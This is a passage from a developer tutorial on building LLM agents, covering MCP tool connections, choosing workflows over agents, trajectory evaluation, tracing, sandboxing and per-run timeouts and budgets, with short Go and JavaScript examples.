	fmt.Println(string(defs))
	fmt.Println(string(res))
}

Real output (identical in Go 1.24 and Node 22):

[{"name":"search_issues","description":"Search the issue tracker by text.","input_schema":{"type":"object","properties":{"query":{"type":"string"}},"required":["query"]}}]
{"type":"tool_result","tool_use_id":"toolu_03","content":"#412 Checkout times out on slow networks (open)"}

In real hosts, an MCP SDK (official ones exist for TypeScript, Go and other languages) handles the connection, discovery and transports; you rarely write raw JSON-RPC.

Model APIs can connect to MCP servers too

You don't always need your own host. As of October 2026, Anthropic's Messages API can connect to a remote MCP server itself: you list it in an mcp_servers field, add an mcp_toolset entry naming it in tools, and send a beta header (mcp-client-2025-11-20 at the time of writing). The API then runs the tool calls server-side. Other providers have similar features. It's convenient, but the trust questions below are the same: the server's tools still end up steering your model.

The security model: you're running someone else's tool

Connecting an MCP server means letting another program, written by someone else, put text in front of your model and act on your behalf. The spec says it plainly: tools are arbitrary code execution, tool descriptions should be treated as untrusted unless the server is trusted, and there should always be a human able to deny tool calls.

When an agent is overkill

Two ways to build the same feature

In a workflowWorkflow (fixed chain)An LLM feature where your code decides the steps in advance (e.g. classify, then look up, then draft) and calls the model at fixed points. The model fills in each step but never chooses what happens next., your code is the boss: it runs step 1, then calls the model for step 2, then runs step 3. The model fills in each blank but never decides what happens next. In an agent, the model is the boss of the order: it picks the next tool after every result.

Compare them on two tasks. Move the slider to change the assumed time per model call:

The triage ticket is the common case. Its steps never change, so the agent spends extra model calls just deciding to do what you already knew: fetch the ticket, fetch the customer, look up articles. Each of those decisions is a full model call that re-sends a growing conversation. The workflow makes two model calls, takes the same path every night, and every step can have a unit test with a fake model.

The debugging task is different. The error message points at the wrong file, and finding the real cause means reading, searching and reading again, where each step depends on the last result. A fixed chain can't express that. That's what agents are for.

A decision checklist

Ask these in order. Stop at the first "no".

1. Can't you write the steps down? If a flowchart on a whiteboard covers the task, build that flowchart in code. An if in your code is free; a model deciding the same thing costs a call and sometimes gets it wrong.
2. Is the task worth several model calls? An agent run usually costs several times a workflow and takes longer. A chat reply that must appear in under a second can't wait for five round trips.
3. Can mistakes be caught or undone? Tests that must pass, a draft a person reviews, a rollback. An agent that runs unsupervised on actions that can't be undone needs a very good reason (and §08).
4. Can you evaluate it? You'll need a set of tasks with checkable end states (§11). If you can't tell a good run from a bad one, you can't improve it.

If you got all the way to the end, build an agent. Otherwise, start with a workflow. You can always let the model choose one step later ("pick which of these 3 tools fits") without handing it the whole loop.

Workflow patterns worth knowing

Most "agent" products are mostly workflows with one or two flexible spots:

Staff level: evaluating, tracing and containing agents

Evaluate the run, not just the answer

An agent can reach the right answer by luck, or the wrong one through a sensible path. So for each test case, record its trajectoryTrajectory (agent)The full sequence of steps an agent took for one task: each model reply, tool call and tool result. Agent evals score the end result and also the path (how many steps, which tools, any forbidden actions). (every model call and tool call) and score three things (LLM Evals → staff level has the full method):

• Task success, checked by code against the end state. Did the fake calendar get the event? Did the tests pass? Did the refund amount match the policy? Don't ask a judge model "did it work?" when code can check.
• Steps and cost. Same success in 4 calls versus 19 is a real regression. Track calls, tokens and time per case, and fail runs that hit a stop condition.
• Safety. Did it call a tool it shouldn't have, or attempt a write without approval? Plant a prompt injection in some test data and check it's refused.

Run agents against fake tools or a sandbox copy of your systems, never production. And run each case several times: the same agent can take different paths on different runs.

Trace every step

When a user says "the bot gave me a weird answer", you need the whole run, not just the last reply. Give every agent run a trace, and every model call and tool call a spanTracing / spanDistributed tracing records the path of one request through your code and services. Each timed step (one middleware, one DB query) is a span, so you can see where the time went. inside it:

On each span record what you'll need to debug: model and prompt version, input and output tokens, stop_reason, tool name, a short and redacted copy of the arguments and result, is_error, and which stop condition (if any) ended the run. Observability → traces covers spans and OpenTelemetryOpenTelemetryThe vendor-neutral open standard and set of libraries (Go, JS and more) for producing traces, metrics and logs, so you can send them to any backend.; as of October 2026, OpenTelemetry's semantic conventions for generative-AI spans are still marked as in development, so expect names to change. MCP's 2026-07-28 revision documents how to pass trace context to servers, so a server's spans can join the agent's trace.

Contain what tools can do

Least privilege (§08) limits which tools exist. A SandboxSandboxA locked-down place to run code or tools, such as a container with no network, a read-only file system and CPU and time limits, so a bad or tricked tool call can only damage the sandbox. limits what a tool can touch when it runs, which matters most for tools that execute code or shell commands:

• A fresh container per run with no secrets inside, a read-only file system except one scratch folder, CPU and memory limits (Containers → security).
• No network, or an allowlist of hosts. A tool that can reach anything can send your data anywhere.
• Short-lived, scoped credentials passed in for one run, never your long-lived keys (Secrets → short-lived credentials).
• Separate the reader from the actor. An agent that reads untrusted content (web pages, inbound email) shouldn't also hold tools that send data out or change production. Split it into two steps with code in between.

Bound everything: timeouts and budgets

Every loop needs limits (§05), and so does every tool call. A tool that hangs must fail fast and report an error the model can react to. Here a 2-second search is cut off after 200 ms:

package main

import (
	"context"
	"fmt"
	"time"
)

// searchDocs takes 2 s, but gives up as soon as ctx is cancelled.
func searchDocs(ctx context.Context, query string) (string, error) {
	select {
	case <-time.After(2 * time.Second):
		return "3 results for " + query, nil
	case <-ctx.Done():
		return "", fmt.Errorf("search_docs timed out after 200 ms (%w)", ctx.Err())
	}
}

func main() {
	started := time.Now()
	ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond) // ← deadline for this call
	defer cancel()

	out, err := searchDocs(ctx, "refunds")
	if err != nil {
		fmt.Println("tool_result is_error:", err) // ← goes back to the model, like any other error
	} else {
		fmt.Println("tool_result:", out)
	}
	fmt.Printf("waited ~%d ms, not 2000\n", time.Since(started).Round(100*time.Millisecond).Milliseconds())
}

Real output (Go 1.24, Node 22):

tool_result is_error: search_docs timed out after 200 ms (context deadline exceeded)
waited ~200 ms, not 2000

Put the numbers together into a per-run budget your loop enforces, for example at most 15 model calls, 200,000 input tokens, 3 minutes, 10 seconds per tool call, 5 write actions. Size them from real traces (a little above your slowest good runs), alert when runs hit them, and show the user a clear "couldn't finish" instead of a silent failure.

Check yourself

Predict the answer before you click. Every one is covered above: Q1 in §02, Q2 in §05–§06, Q3 in §03 and §05, Q4 in §03, Q5 in §08, Q6 in §10.

let calls = 0;
const model = async () => {
  calls++;
  return { stop_reason: "tool_use", content: [{ type: "tool_use", id: "t1", name: "ping", input: {} }] };
};
async function run(maxTurns) {
  for (let turn = 1; turn <= maxTurns; turn++) {
    const reply = await model();
    if (reply.stop_reason === "end_turn") return "done";
  }
  return "gave up";
}
console.log(await run(4), calls);

Cheat sheet